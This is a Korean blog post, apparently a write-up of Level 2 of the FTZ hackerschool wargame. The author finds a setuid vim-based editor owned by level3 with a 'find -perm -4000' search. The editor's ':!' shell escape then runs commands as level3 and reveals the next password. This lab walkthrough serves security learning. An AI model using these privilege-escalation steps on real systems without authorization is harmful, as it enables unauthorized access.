※ ftz.hackershool.org의 이미지를 사용하여 실습했습니다.
- Level2
level2 / hacker or cracker
[level2@ftz level2]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 60 3월 23 2000 hint drwxr-xr-x 2 root level2 4096 2월 24 2002 public_html drwxrwxr-x 2 root level2 4096 1월 16 2009 tmp |
|
[level2@ftz level2]$ cat hint
|
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데... |
|
> 택스트 파일 편집중에 :! CMD 를 입력하면 편집기를 사용하지 않고 명령어를 실행할 수 있다.
> 아마 텍스트 파일의 편집 프로그램이 setuid로 설정되어있고 그 프로그램을 종료하지 않고 명령어를 실행시켜 권한을 획득하는 힌트인 것 같다.
[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
|
/usr/bin/editor |
|
> 에디터라는 프로그램을 이용한다.
[level2@ftz level2]$ /usr/bin/editor
|
~ ~ ~ ~ ~ ~ VIM - Vi IMproved ~ ~ version 6.1.320 ~ by Bram Moolenaar et al. ~ Vim is open source and freely distributable ~ ~ Help poor children in Uganda! ~ type :help iccf<Enter> for information ~ ~ type :q<Enter> to exit ~ type :help<Enter> or <F1> for on-line help ~ type :help version6<Enter> for version info ~ ~ ~ ~ ~ |
|
> 어디서 많이 본 화면이다.
[level2@ftz level2]$ which vi
|
alias vi='vim' /usr/bin/vim |
|
[level2@ftz level2]$ which vim
|
/usr/bin/vim |
|
[level2@ftz level2]$ /usr/bin/vim
|
~ ~ ~ ~ ~ ~ 빔 - 향상된 Vi ~ ~ 판 6.1.320 ~ by Bram Moolenaar et al. ~ 빔은 소스가 열려 있고 공짜로 배포됩니다 ~ ~ 우간다에 사는 가난한 아이를 도와주세요! ~ 이에 대한 정보를 보려면 :help iccf<엔터> 입력 ~ ~ 끝내려면 :q<엔터> 입력 ~ 온라인 도움말을 보려면 :help<엔터> 또는 <F1> 입력 ~ 판 정보를 보려면 :help version6<엔터> 입력 ~ ~ ~ ~ ~
|
|
[level2@ftz level2]$ /bin/vi
|
~ ~ ~ ~ ~ ~ VIM - Vi IMproved ~ ~ version 6.1.320 ~ by Bram Moolenaar et al. ~ Vim is open source and freely distributable ~ ~ Help poor children in Uganda! ~ type :help iccf<Enter> for information ~ ~ type :q<Enter> to exit ~ type :help<Enter> or <F1> for on-line help ~ type :help version6<Enter> for version info ~ ~ ~ ~ ~ |
|
> editor는 vi 프로그램을 기반으로 만들어진 듯하다.
[level2@ftz level2]$ ls -l /usr/bin/editor
|
-rwsr-x--- 1 level3 level2 11651 8월 19 2014 /usr/bin/editor |
|
> 예상대로 level3 소유자로 setuid로 되어있고 level2 사용자가 실행 가능하게 되어있다.
> editor 를 실행하고 :! CMD 를 이용하여 명령어를 수행하면 level3 으로 실행 될 것 이다.
[level2@ftz level2]$ /usr/bin/editor
|
:! id uid=3003(level3) gid=3002(level2) groups=3002(level2) Hit ENTER or type command to continue :! my-pass Level3 Password is "can you fly?". shell returned 37 Hit ENTER or type command to continue |
|
> bash라고 치면 바로 쉘로 떨어지지만 그냥 바로 my-pass 명령어를 이용하여 암호를 알아냈다.
'Security > 리버싱' 카테고리의 다른 글
Level3 문제 해결 (0) | 2017.11.28 |
---|---|
Level2 문제 분석/응용 (0) | 2017.11.28 |
level 1 문제 해결 ( /bin/ExecuteMe 해석 ) (0) | 2017.11.27 |
level 1 문제 해결 (0) | 2017.11.27 |
GDB 사용법 (1) | 2017.11.27 |